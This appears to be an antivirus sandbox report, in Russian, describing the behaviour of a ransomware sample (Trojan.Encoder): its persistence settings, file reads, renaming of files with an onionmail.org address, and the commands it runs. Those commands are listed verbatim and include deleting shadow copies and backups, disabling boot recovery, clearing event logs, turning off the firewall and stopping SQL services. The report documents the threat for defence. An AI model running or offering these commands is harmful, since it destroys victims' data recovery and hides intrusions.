Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Создает следующие файлы на съемном носителе
- <Имя диска съемного носителя>:\readme.txt
Вредоносные функции
Для затруднения выявления своего присутствия в системе
удаляет теневые копии разделов.
Запускает на исполнение
- '%WINDIR%\syswow64\net.exe' stop MSDTC
- '%WINDIR%\syswow64\net.exe' stop SQLSERVERAGENT
- '%WINDIR%\syswow64\net.exe' stop MSSQLSERVER
- '%WINDIR%\syswow64\net.exe' stop vds
- '%WINDIR%\syswow64\net.exe' stop SQLWriter
- '%WINDIR%\syswow64\net.exe' stop SQLBrowser
- '%WINDIR%\syswow64\net.exe' stop MSSQL$CONTOSO1
- '%WINDIR%\syswow64\netsh.exe' advfirewall set currentprofile state off
- '%WINDIR%\syswow64\netsh.exe' firewall set opmode mode=disable
Читает файлы, отвечающие за хранение паролей сторонними программами
- %HOMEPATH%\desktop\64bit_notes.htm
- %HOMEPATH%\desktop\trivial-merge.html
- %HOMEPATH%\desktop\tileimage.bmp
- %APPDATA%\thunderbird\profiles.ini
- %HOMEPATH%\desktop\split.avi
- %HOMEPATH%\desktop\sdksampleprivdeveloper.cer
- %HOMEPATH%\desktop\sdkfailsafeemulator.cer
- %HOMEPATH%\desktop\nwfieldnotes1966.docx
- %HOMEPATH%\desktop\join.avi
- %HOMEPATH%\desktop\ituneshelpunavailable.html
- %HOMEPATH%\desktop\howto-index.html
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\february_catalogue__2015.doc
- %HOMEPATH%\desktop\delete.avi
- %HOMEPATH%\desktop\default.bmp
- %HOMEPATH%\desktop\dashborder_192.bmp
- %HOMEPATH%\desktop\dashborder_120.bmp
- %HOMEPATH%\desktop\correct.avi
- %HOMEPATH%\desktop\archer.avi
- %HOMEPATH%\desktop\api-hashmap.html
- %HOMEPATH%\desktop\alert.htm
- %HOMEPATH%\desktop\advice_process.htm
- %HOMEPATH%\desktop\about.html
- %HOMEPATH%\desktop\about.htm
- %APPDATA%\mozilla\firefox\profiles.ini
- %HOMEPATH%\desktop\weeklysheet1215.doc
Изменения в файловой системе
Создает следующие файлы
- <Текущая директория>\output.bmp
- %APPDATA%\telegram desktop\readme.txt
- %APPDATA%\thunderbird\readme.txt
- %APPDATA%\mozilla\firefox\readme.txt
- %TEMP%\readme.txt
- %LOCALAPPDATA%low\oracle\java\au\readme.txt
- %APPDATA%\thunderbird\crash reports\readme.txt
- %LOCALAPPDATA%low\sun\java\deployment\readme.txt
- %HOMEPATH%\documents\readme.txt
- %LOCALAPPDATA%low\sun\java\jre1.8.0_45_x64\readme.txt
- %APPDATA%\mozilla\firefox\crash reports\readme.txt
- %LOCALAPPDATA%\google\chrome\user data\readme.txt
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\readme.txt
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\extensions\readme.txt
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\installer\readme.txt
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\locales\readme.txt
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\pepperflash\readme.txt
- %HOMEPATH%\searches\readme.txt
- %HOMEPATH%\favorites\msn websites\readme.txt
- %HOMEPATH%\favorites\links for united states\readme.txt
- %HOMEPATH%\pictures\readme.txt
- %LOCALAPPDATA%\gdipfontcachev1.dat
- C:\readme.txt
- C:\kms\readme.txt
- <Текущая директория>\readme.txt
- C:\users\readme.txt
- C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\readme.txt
- %HOMEPATH%\readme.txt
- %HOMEPATH%\contacts\readme.txt
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\visualelements\readme.txt
- %LOCALAPPDATA%\google\chrome\application\readme.txt
- %HOMEPATH%\desktop\readme.txt
- %HOMEPATH%\favorites\readme.txt
- %HOMEPATH%\music\readme.txt
- %HOMEPATH%\links\readme.txt
- %HOMEPATH%\favorites\links\readme.txt
- %LOCALAPPDATA%\readme.txt
- %HOMEPATH%\saved games\readme.txt
- %HOMEPATH%\videos\readme.txt
- D:\readme.txt
- %HOMEPATH%\downloads\readme.txt
- %TEMP%\opera installer\readme.txt
Удаляет следующие файлы
- <Текущая директория>\output.bmp
Перемещает следующие файлы
- %LOCALAPPDATA%\gdipfontcachev1.dat в %LOCALAPPDATA%\quickly@onionmail.orggdipfontcachev1.dat
- %TEMP%\jawshtml.html в %TEMP%\quickly@onionmail.orgjawshtml.html
- %TEMP%\javadeployreg.log в %TEMP%\quickly@onionmail.orgjavadeployreg.log
- %TEMP%\dd_wcf_ca_smci_20230531_225945_094.txt в %TEMP%\quickly@onionmail.orgdd_wcf_ca_smci_20230531_225945_094.txt
- %TEMP%\dd_wcf_ca_smci_20230531_225943_157.txt в %TEMP%\quickly@onionmail.orgdd_wcf_ca_smci_20230531_225943_157.txt
- %TEMP%\dd_vcredist_x86_20220928170410.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928170410.log
- %TEMP%\dd_vcredist_x86_20220928170335_002_vcruntimeadditional_x86.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928170335_002_vcruntimeadditional_x86.log
- %TEMP%\dd_vcredist_x86_20220928170335_001_vcruntimeminimum_x86.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928170335_001_vcruntimeminimum_x86.log
- %TEMP%\dd_vcredist_x86_20220928170335.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928170335.log
- %TEMP%\dd_vcredist_x86_20220928170221.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928170221.log
- %TEMP%\dd_vcredist_x86_20220928170143_002_vcruntimeadditional_x86.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928170143_002_vcruntimeadditional_x86.log
- %TEMP%\dd_vcredist_x86_20220928170143_001_vcruntimeminimum_x86.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928170143_001_vcruntimeminimum_x86.log
- %TEMP%\dd_vcredist_x86_20220928170143.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928170143.log
- %TEMP%\dd_vcredist_x86_20220928165916_001_vcruntimeadditional_x86.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928165916_001_vcruntimeadditional_x86.log
- %TEMP%\dd_vcredist_x86_20220928165916_000_vcruntimeminimum_x86.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928165916_000_vcruntimeminimum_x86.log
- %TEMP%\dd_vcredist_x86_20220928165916.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928165916.log
- %TEMP%\dd_vcredist_x86_20220928165710_1_vcruntimeadditional_x86.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928165710_1_vcruntimeadditional_x86.log
- %TEMP%\dd_vcredist_x86_20220928165710_0_vcruntimeminimum_x86.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928165710_0_vcruntimeminimum_x86.log
- %TEMP%\jusched.log в %TEMP%\quickly@onionmail.orgjusched.log
- %TEMP%\microsoft .net framework 4 setup_20230531_155457219-msi_netfx_extended_x64.msi.txt в %TEMP%\quickly@onionmail.orgmicrosoft .net framework 4 setup_20230531_155457219-msi_netfx_extended_x64.msi.txt
- %TEMP%\wallpaper.bmp в %TEMP%\quickly@onionmail.orgwallpaper.bmp
- %TEMP%\microsoft .net framework 4 setup_20230531_155457219.html в %TEMP%\quickly@onionmail.orgmicrosoft .net framework 4 setup_20230531_155457219.html
- %TEMP%\user.bmp в %TEMP%\quickly@onionmail.orguser.bmp
- %TEMP%\tmpaddon в %TEMP%\quickly@onionmail.orgtmpaddon
- %TEMP%\setupexe(20220928171621f0c).log в %TEMP%\quickly@onionmail.orgsetupexe(20220928171621f0c).log
- %TEMP%\rgi5839.tmp-tmp в %TEMP%\quickly@onionmail.orgrgi5839.tmp-tmp
- %TEMP%\rgi5839.tmp в %TEMP%\quickly@onionmail.orgrgi5839.tmp
- %TEMP%\readme.txt в %TEMP%\quickly@onionmail.orgreadme.txt
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\locales\readme.txt в %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\locales\quickly@onionmail.orgreadme.txt
- %TEMP%\ose00000.exe в %TEMP%\quickly@onionmail.orgose00000.exe
- %TEMP%\opera_crashreporter.log в %TEMP%\quickly@onionmail.orgopera_crashreporter.log
- %TEMP%\microsoft visual c++ 2010 x86 redistributable setup_20220928_165304913.html в %TEMP%\quickly@onionmail.orgmicrosoft visual c++ 2010 x86 redistributable setup_20220928_165304913.html
- %TEMP%\microsoft visual c++ 2010 x86 redistributable setup_20220928_165304913-msi_vc_red.msi.txt в %TEMP%\quickly@onionmail.orgmicrosoft visual c++ 2010 x86 redistributable setup_20220928_165304913-msi_vc_red.msi.txt
- %TEMP%\microsoft visual c++ 2010 x64 redistributable setup_20220928_165235616.html в %TEMP%\quickly@onionmail.orgmicrosoft visual c++ 2010 x64 redistributable setup_20220928_165235616.html
- %TEMP%\microsoft visual c++ 2010 x64 redistributable setup_20220928_165235616-msi_vc_red.msi.txt в %TEMP%\quickly@onionmail.orgmicrosoft visual c++ 2010 x64 redistributable setup_20220928_165235616-msi_vc_red.msi.txt
- %TEMP%\microsoft visual c++ 2010 x64 redistributable setup_20220928_164850616.html в %TEMP%\quickly@onionmail.orgmicrosoft visual c++ 2010 x64 redistributable setup_20220928_164850616.html
- %TEMP%\microsoft visual c++ 2010 x64 redistributable setup_20220928_164850616-msi_vc_red.msi.txt в %TEMP%\quickly@onionmail.orgmicrosoft visual c++ 2010 x64 redistributable setup_20220928_164850616-msi_vc_red.msi.txt
- %TEMP%\microsoft .net framework 4.8 setup_20230531_160116688.html в %TEMP%\quickly@onionmail.orgmicrosoft .net framework 4.8 setup_20230531_160116688.html
- %TEMP%\microsoft .net framework 4.8 setup_20220928_170905091.html в %TEMP%\quickly@onionmail.orgmicrosoft .net framework 4.8 setup_20220928_170905091.html
- %TEMP%\dd_vcredist_x86_20220928165710.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928165710.log
- %TEMP%\microsoft .net framework 4 setup_20230531_155457219-msi_netfx_core_x64.msi.txt в %TEMP%\quickly@onionmail.orgmicrosoft .net framework 4 setup_20230531_155457219-msi_netfx_core_x64.msi.txt
- %TEMP%\dd_vcredist_x86_20220928165536_1_vcruntimeadditional_x86.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928165536_1_vcruntimeadditional_x86.log
- %TEMP%\dd_setuputility.txt в %TEMP%\quickly@onionmail.orgdd_setuputility.txt
- %TEMP%\dd_dotnetfx40_full_x86_x64_decompression_log.txt в %TEMP%\quickly@onionmail.orgdd_dotnetfx40_full_x86_x64_decompression_log.txt
- %TEMP%\chrome_installer.log в %TEMP%\quickly@onionmail.orgchrome_installer.log
- %TEMP%\aspnetsetup_00001.log в %TEMP%\quickly@onionmail.orgaspnetsetup_00001.log
- %TEMP%\aspnetsetup_00000.log в %TEMP%\quickly@onionmail.orgaspnetsetup_00000.log
- %APPDATA%\telegram desktop\updater.exe в %APPDATA%\telegram desktop\quickly@onionmail.orgupdater.exe
- %TEMP%\armui.ini в %TEMP%\quickly@onionmail.orgarmui.ini
- %APPDATA%\telegram desktop\unins000.exe в %APPDATA%\telegram desktop\quickly@onionmail.orgunins000.exe
- %APPDATA%\mozilla\firefox\crash reports\installtime20200708170202 в %APPDATA%\mozilla\firefox\crash reports\quickly@onionmail.orginstalltime20200708170202
- %TEMP%\adobesfx.log в %TEMP%\quickly@onionmail.orgadobesfx.log
- %APPDATA%\telegram desktop\unins000.dat в %APPDATA%\telegram desktop\quickly@onionmail.orgunins000.dat
- %TEMP%\adobearm.log в %TEMP%\quickly@onionmail.orgadobearm.log
- %APPDATA%\thunderbird\crash reports\installtime20210406220621 в %APPDATA%\thunderbird\crash reports\quickly@onionmail.orginstalltime20210406220621
- %APPDATA%\mozilla\firefox\profiles.ini в %APPDATA%\mozilla\firefox\quickly@onionmail.orgprofiles.ini
- %APPDATA%\mozilla\firefox\installs.ini в %APPDATA%\mozilla\firefox\quickly@onionmail.orginstalls.ini
- %APPDATA%\thunderbird\profiles.ini в %APPDATA%\thunderbird\quickly@onionmail.orgprofiles.ini
- %APPDATA%\thunderbird\installs.ini в %APPDATA%\thunderbird\quickly@onionmail.orginstalls.ini
- %APPDATA%\telegram desktop\telegram.exe в %APPDATA%\telegram desktop\quickly@onionmail.orgtelegram.exe
- %TEMP%\dd_ndp48-x86-x64-allos-enu_decompression_log.txt в %TEMP%\quickly@onionmail.orgdd_ndp48-x86-x64-allos-enu_decompression_log.txt
- %TEMP%\dd_vcredistmsi7a3c.txt в %TEMP%\quickly@onionmail.orgdd_vcredistmsi7a3c.txt
- %TEMP%\dd_vcredist_x86_20220928165536.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928165536.log
- %TEMP%\dd_vcredistui7a3c.txt в %TEMP%\quickly@onionmail.orgdd_vcredistui7a3c.txt
- %TEMP%\dd_vcredist_amd64_20220928170328.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928170328.log
- %TEMP%\dd_vcredist_amd64_20220928170250_002_vcruntimeadditional_x64.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928170250_002_vcruntimeadditional_x64.log
- %TEMP%\dd_vcredist_amd64_20220928170250_001_vcruntimeminimum_x64.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928170250_001_vcruntimeminimum_x64.log
- %TEMP%\dd_vcredist_amd64_20220928170250.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928170250.log
- %TEMP%\dd_vcredist_amd64_20220928170114.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928170114.log
- %TEMP%\dd_vcredist_amd64_20220928165956_002_vcruntimeadditional_x64.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165956_002_vcruntimeadditional_x64.log
- %TEMP%\dd_vcredist_amd64_20220928165956_001_vcruntimeminimum_x64.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165956_001_vcruntimeminimum_x64.log
- %TEMP%\dd_vcredist_amd64_20220928165956.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165956.log
- %TEMP%\dd_vcredist_amd64_20220928165746_001_vcruntimeadditional_x64.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165746_001_vcruntimeadditional_x64.log
- %TEMP%\dd_vcredist_amd64_20220928165746_000_vcruntimeminimum_x64.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165746_000_vcruntimeminimum_x64.log
- %TEMP%\dd_vcredist_amd64_20220928165746.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165746.log
- %TEMP%\dd_vcredist_amd64_20220928165628_1_vcruntimeadditional_x64.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165628_1_vcruntimeadditional_x64.log
- %TEMP%\dd_vcredist_amd64_20220928165628_0_vcruntimeminimum_x64.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165628_0_vcruntimeminimum_x64.log
- %TEMP%\dd_vcredist_amd64_20220928165628.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165628.log
- %TEMP%\dd_vcredist_amd64_20220928165349_1_vcruntimeadditional_x64.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165349_1_vcruntimeadditional_x64.log
- %TEMP%\dd_vcredist_amd64_20220928165349_0_vcruntimeminimum_x64.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165349_0_vcruntimeminimum_x64.log
- %TEMP%\dd_vcredist_amd64_20220928165349.log в %TEMP%\quickly@onionmail.orgdd_vcredist_amd64_20220928165349.log
- %TEMP%\dd_vcredist_x86_20220928165536_0_vcruntimeminimum_x86.log в %TEMP%\quickly@onionmail.orgdd_vcredist_x86_20220928165536_0_vcruntimeminimum_x86.log
- %TEMP%\wmsetup.log в %TEMP%\quickly@onionmail.orgwmsetup.log
Изменяет следующие файлы
- D:\install.log
- %HOMEPATH%\favorites\links\desktop.ini
- %HOMEPATH%\links\desktop.ini
- %HOMEPATH%\music\desktop.ini
- %HOMEPATH%\favorites\desktop.ini
- C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\winre.wim
- %HOMEPATH%\downloads\desktop.ini
- %HOMEPATH%\contacts\user.contact
- %HOMEPATH%\desktop\google chrome.lnk
- %HOMEPATH%\desktop\desktop.ini
- %HOMEPATH%\desktop\delete.avi
- %HOMEPATH%\desktop\default.bmp
- %HOMEPATH%\desktop\dashborder_192.bmp
- %HOMEPATH%\desktop\dashborder_120.bmp
- %HOMEPATH%\desktop\correct.avi
- %HOMEPATH%\desktop\archer.avi
- %HOMEPATH%\desktop\api-hashmap.html
- %HOMEPATH%\documents\desktop.ini
- %HOMEPATH%\desktop\alert.htm
- %HOMEPATH%\desktop\advice_process.htm
- %HOMEPATH%\desktop\about.html
- %HOMEPATH%\desktop\about.htm
- %HOMEPATH%\desktop\64bit_notes.htm
- C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\boot.sdi
- %HOMEPATH%\contacts\desktop.ini
- C:\users\desktop.ini
- C:\kms\kms_vl_all_aio_debug.log
- C:\kms\kms_vl_all_aio.cmd
- %HOMEPATH%\saved games\desktop.ini
- %HOMEPATH%\videos\desktop.ini
Изменяет множество файлов.
Подменяет следующие файлы
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\locales\readme.txt
- %TEMP%\readme.txt
Самоперемещается
- из <Полный путь к файлу> в <Текущая директория>\quickly@onionmail.org<Имя файла>.exe
Изменяет множество файлов пользовательских данных (Trojan.Encoder).
Сетевая активность
UDP
- 'localhost':59019
- 'localhost':63912
Другое
Ищет следующие окна
- ClassName: 'SystemTray_Main' WindowName: ''
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop MSDTC
- '%WINDIR%\syswow64\net1.exe' stop MSDTC
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop SQLSERVERAGENT
- '%WINDIR%\syswow64\net1.exe' stop SQLSERVERAGENT
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop MSSQLSERVER
- '%WINDIR%\syswow64\net1.exe' stop MSSQLSERVER
- '%WINDIR%\syswow64\net1.exe' stop vds
- '%WINDIR%\syswow64\cmd.exe' /c wevtutil.exe clear-log Application
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop SQLWriter
- '%WINDIR%\syswow64\net1.exe' stop SQLWriter
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop SQLBrowser
- '%WINDIR%\syswow64\net1.exe' stop SQLBrowser
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop MSSQL$CONTOSO1
- '%WINDIR%\syswow64\net1.exe' stop MSSQL$CONTOSO1
- '%WINDIR%\syswow64\wbem\wmic.exe' SHADOWCOPY /nointeractive
- '%WINDIR%\syswow64\cmd.exe' /c wmic.exe SHADOWCOPY /nointeractive
- '%WINDIR%\syswow64\wevtutil.exe' clear-log "windows powershell"
- '%WINDIR%\syswow64\cmd.exe' /c wevtutil.exe clear-log "windows powershell"
- '%WINDIR%\syswow64\wevtutil.exe' clear-log System
- '%WINDIR%\syswow64\cmd.exe' /c wevtutil.exe clear-log System
- '%WINDIR%\syswow64\wevtutil.exe' clear-log Security
- '%WINDIR%\syswow64\cmd.exe' /c wevtutil.exe clear-log Security
- '%WINDIR%\syswow64\wevtutil.exe' clear-log Application
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop vds
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin.exe delete systemstatebackup -keepversions:0
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin.exe delete backup
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin.exe delete catalog –quiet
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin.exe DELETE SYSTEMSTATEBACKUP –deleteOldest
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin.exe DELETE SYSTEMSTATEBACKUP
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit.exe /set {default} recoveryenabled No
- '%WINDIR%\syswow64\cmd.exe' /c netsh.exe advfirewall set currentprofile state off
- '%WINDIR%\syswow64\cmd.exe' /c netsh.exe firewall set opmode mode=disable
